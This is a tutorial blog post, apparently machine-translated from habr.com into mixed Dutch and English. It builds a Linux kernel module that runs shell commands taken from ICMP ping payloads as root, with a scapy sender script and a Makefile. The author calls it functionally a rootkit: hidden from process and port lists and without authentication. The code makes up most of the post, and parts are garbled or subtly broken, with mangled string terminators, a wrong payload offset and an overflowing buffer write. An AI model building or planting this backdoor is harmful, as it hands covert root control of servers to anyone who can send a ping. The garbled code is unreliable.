TL;DR: ik schrijf een kernelmodule die opdrachten uit een ICMP-payload leest en deze op de server uitvoert, zelfs als je SSH is gecrasht. Voor de meest ongeduldigen, de volledige code staat op .
Wees voorzichtig! Ervaren programmeurs in C riskeren in tranen uit te barsten! Ik kan me vergissen in de terminologie, maar alle kritiek is welkom. Deze post is gericht op mensen die een minimaal idee hebben van programmeren in C en een kijkje willen nemen onder de motorkap van Linux.
In de reacties op mijn eerste werd SoftEther VPN genoemd, dat zich kan voordoen als enkele 'gewone' protocollen, met name HTTPS, ICMP en zelfs DNS. Ik kan me alleen de werking van de eerste voorstellen, omdat ik goed bekend ben met HTTP(S), terwijl ik me in het tunnelen boven ICMP en DNS heb moeten verdiepen.

Ja, in 2020 ontdekte ik dat je willekeurige payloads in ICMP-pakketten kunt invoegen. Beter laat dan nooit! En aangezien er iets mee te doen is, moeten we dat ook doen. In mijn dagelijks leven maak ik het vaak gebruik van de commandoregel, ook via SSH, dus het idee van een ICMP-shell kwam als eerste bij me op. En om volledig voor de gek gehouden te worden, besloot ik het als een Linux-module te schrijven in een taal waarmee ik slechts een oppervlakkige kennis heb. Zo'n shell zal niet zichtbaar zijn in de processenlijst, je kunt het in de kernel laden en het zal niet op het bestandssysteem verschijnen, je zult niets verdachts zien in de lijst met open poorten. Wat betreft functionaliteit is dit een volwaardig rootkit, maar ik hoop het verder te ontwikkelen en als een laatste kans-shell te gebruiken wanneer de Load Average te hoog is om via SSH in te loggen en zelfs echo i > /proc/sysrq-trigger, zodat ik weer toegang krijg zonder opnieuw op te starten.
Neem een teksteditor, basisprogrammeervaardigheden in Python en C, Google en die het niet erg is om te slopen als alles kapot gaat (optioneel - lokale VirtualBox/KVM/etc) en laten we gaan!
Clientdeel
Ik dacht dat ik voor de clientkant een script van zo'n 80 regels zou moeten schrijven, maar er zijn vriendelijke mensen die het werk voor me hebben gedaan . De code bleek verrassend eenvoudig te zijn, het past in 10 zinvolle regels:
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Gebruik: {} IP "opdracht"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() Het script accepteert twee argumenten, het adres en de payload. Voor verzending wordt de payload voorafgegaan door de sleutel run:, we will need it to exclude packets with random payloads.
The kernel requires privileges to craft packets, so the script will need to be run with superuser rights. Don't forget to set execution permissions and install scapy itself. In Debian, there is a package called python3-scapy. Now you can check how it all works.
Running and output of the command
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hallo, wereld!"
Begin emissie:
.Verzending van 1 pakketten voltooid.
*
Ontvangen 2 pakketten, 1 antwoorden, 0 pakketten over
###[ IP ]###
versie = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
vlaggen =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hallo, wereld!
This is how it looks in the sniffer
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Uitgevoerd als gebruiker "root" en groep "root". Dit kan gevaarlijk zijn.
Capturing op 'wlp1s0'
Frame 1: 59 bytes op de draad (472 bits), 59 bytes vastgelegd (472 bits) op interface wlp1s0, id 0
Internet Protocol Versie 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) verzoek)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Goed]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Volgnummer (BE): 0 (0x0000)
Volgnummer (LE): 0 (0x0000)
Gegevens (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Goed]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Volgnummer (BE): 0 (0x0000)
Volgnummer (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Gegevens (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
The payload in the response packet remains unchanged.
Kernel module
To build in a Debian virtual machine, we need at least make en linux-headers-amd64, the rest will be pulled in as dependencies. I won't provide the full code in the article, but you can clone it from GitHub.
Setting up the hook
First, we need two functions to load and unload the module. The unload function is optional, but then rmmod won't work, the module will only unload upon shutdown.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);What happens here:
- Two header files for manipulation with the module and netfilter are pulled in.
- All operations pass through netfilter, where hooks can be set. To do this, we need to declare a structure in which the hook will be configured. The most important thing is to specify the function that will be executed as a hook:
nfho.hook = icmp_cmd_executor;I'll get to the function itself later.
Then I specified the moment of packet processing:NF_INET_PRE_ROUTINGindicates to process the packet when it first appears in the kernel. You can useNF_INET_POST_ROUTINGto handle the packet as it exits the kernel.
Iām attaching a filter on IPv4:nfho.pf = PF_INET;.
I assign the highest priority to my hook:nfho.priority = NF_IP_PRI_FIRST;
And I register the data structure as the hook itself:nf_register_net_hook(&init_net, &nfho); - In the final function, the hook is removed.
- The license is explicitly stated to avoid compiler warnings.
- Functies
module_init()enmodule_exit()specify other functions as the initializing and finalizing functions of the module.
Extracting the payload
Nu moet de payload worden geƫxtraheerd, en dat bleek de moeilijkste taak te zijn. In de kernel zijn er geen ingebouwde functies om met de payload te werken; je kunt alleen de koppen van hogere protocollen parseren.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Wat er gebeurt:
- Ik moest extra headerbestanden opnemen, dit keer voor het manipuleren van IP- en ICMP-headers.
- Ik stel de maximale lengte van de string in:
#define MAX_CMD_LEN 1976. Waarom precies deze? Omdat de compiler een probleem heeft met een langere! Mij is al verteld dat ik moet kijken naar de stack en heap; ooit zal ik dat zeker doen en misschien zelfs de code corrigeren. Ik stel nu een string in die het commando zal bevatten:char cmd_string[MAX_CMD_LEN];. Deze moet zichtbaar zijn in alle functies, daarover zal ik in sectie 9 uitgebreider ingaan. - Nu moet ik de (
struct work_struct my_work;) structuur initialiseren en deze koppelen aan nog een functie (DECLARE_WORK(my_work, work_handler);). Ik zal ook in het negende punt uitleggen waarom dit nodig is. - Ik declareer nu de functie die de hook zal zijn. Het type en de te ontvangen argumenten worden bepaald door de netfilter, maar ons interesseert alleen
skb. Dit is een socketbuffer, een fundamentele datastructuur die alle beschikbare informatie over het pakket bevat. - Voor de functie zijn twee structuren en enkele variabelen nodig, waaronder twee iterators.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - Laten we nu overgaan naar de logica. Voor de werking van de module zijn er geen pakketten nodig behalve ICMP Echo, dus parse we de buffer met ingebouwde functies en werpen we alle niet-ICMP- en niet-Echo-pakketten weg. Terugkeer
NF_ACCEPTbetekent dat het pakket wordt geaccepteerd, maar je kunt de pakketten ook laten vallen doorNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Ik heb niet gecontroleerd wat er gebeurt zonder de controle van de IP-headers. Mijn minimale kennis van C vertelt me: zonder aanvullende controles zal er zeker iets vreselijks gebeuren. Ik zou blij zijn als je me van het tegendeel kunt overtuigen!
- Nu het pakket zeker het juiste type heeft, kunnen we de gegevens extraheren. Zonder een ingebouwde functie moeten we eerst een pointer naar het begin van de payload krijgen. Dit gebeurt door een bepaalde plek; we moeten een pointer naar het begin van de ICMP-header nemen en deze verschuiven met de grootte van deze header. Hiervoor gebruiken we de structuur
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
Het einde van de header moet overeenkomen met het einde van de payload inskb, daarom halen we het op met zijn kernmiddelen uit de overeenkomstige structuur:tail = skb_tail_pointer(skb);.
Ik heb de afbeelding gestolen , u kunt meer lezen over de socketbuffer. - Met de pointers naar het begin en het einde kan de data naar de string worden gekopieerd
cmd_string, deze controleren op het bestaan van een prefixrun:en, ofwel het pakket weggooien bij afwezigheid, of de string opnieuw overschrijven door deze prefix te verwijderen. - Nou, alles is klaar, nu kan er nog een handler worden aangeroepen:
schedule_work(&my_work);. Aangezien het niet mogelijk is om een parameter aan zo'n aanroep door te geven, moet de string met de opdracht globaal zijn.schedule_work()zal de functie die is geassocieerd met de doorgegeven structuur in de algemene taakplanner plaatsen en eindigen, waardoor het niet nodig is om op de voltooiing van de opgave te wachten. Dit is nodig omdat de hook zeer snel moet zijn. Anders start er niets, of je krijgt een kernel panic. Vertraging is dodelijk! - Alles is klaar, we kunnen het pakket ontvangen met de overeenkomstige terugkeer.
Het aanroepen van het programma in de gebruikersruimte
Deze functie is het meest duidelijk. De naam ervan is gegeven in DECLARE_WORK(), het type en de ontvangen argumenten zijn niet interessant. We nemen de string met de opdracht en geven deze in zijn geheel door aan de shell. Laat het zelf maar omgaan met het parseren, het zoeken naar binaries en alles eromheen.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- We stellen de argumenten in een stringarray in
argv[]. Ik veronderstel dat iedereen weet dat programma's in feite op deze manier worden uitgevoerd, en niet als een lange string met spaties. - We stellen de omgevingsvariabelen in. Ik heb alleen PATH toegevoegd met een minimale set paden, ervan uitgaande dat bij iedereen al zijn samengevoegd
/binmet/usr/binen/sbinmet/usr/sbin. Andere paden zijn in de praktijk vrij zeldzaam van belang. - Klaar, laten we uitvoeren! De kernfunctie
call_usermodehelper()neemt als invoer het pad naar de binary, een array van argumenten, een array van omgevingsvariabelen. Hier ga ik er ook van uit dat iedereen de betekenis begrijpt van het doorgeven van het pad naar de uitvoerbare file als een apart argument, maar u kunt vragen. Het laatste argument geeft aan of het proces voltooien moet wachten (UMH_WAIT_PROC), het proces starten (UMH_WAIT_EXEC) of helemaal niet wachten (UMH_NO_WAIT). Er is ook nogUMH_KILLABLE, daar ben ik niet verder op ingegaan.
Bouwen
De opbouw van kernelmodules gebeurt via het kernel-make-framework. Het wordt aangeroepen make binnen een speciale directory gekoppeld aan de kernversie (bepaald hier: KERNELDIR:=/lib/modules/$(shell uname -r)/build), en de locatie van de module wordt doorgegeven via een variabele M in de argumenten. In de doelstellingen icmpshell.ko en clean wordt dit framework volledig gebruikt. In obj-m geef je het objectbestand op dat omgebouwd zal worden tot een module. De syntaxis die ombouwt main.o in icmpshell.o (icmpshell-objs = main.o) ziet er voor mij niet erg logisch uit, maar laten we het zo laten.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
We bouwen: make. We laden: insmod icmpshell.ko. Klaar, je kunt het testen: sudo ./send.py 45.11.26.232 "date > /tmp/test". Als er een bestand op je machine is verschenen /tmp/test en het bevat de datum van het verzenden van de aanvraag, dan heb je alles goed gedaan en ik heb ook alles goed gedaan.
Conclusie
Mijn eerste ervaring met kernontwikkeling was veel eenvoudiger dan ik had verwacht. Zelfs zonder ervaring in C-ontwikkeling, met de aanwijzingen van de compiler en de output van Google, kon ik een werkende module schrijven en me een kernel hacker voelen, en tegelijkertijd ook een script kiddie. Daarnaast ben ik op het Kernel Newbies-kanaal gegaan, waar ze me adviseerden om schedule_work() in plaats van de aanroep call_usermodehelper() binnen de hook zelf en me terecht beschuldigden van oplichting. Honderd regels code kostten me ongeveer een week ontwikkeling in mijn vrije tijd. Een succesvolle ervaring die mijn persoonlijke mythe over de onmogelijke complexiteit van systeemsontwikkeling heeft ontkracht.
Als iemand bereid is om een code-review op GitHub uit te voeren, zou ik dat zeer op prijs stellen. Ik ben er bijna zeker van dat ik veel domme fouten heb gemaakt, vooral bij het werken met strings.
Bron: habr.com

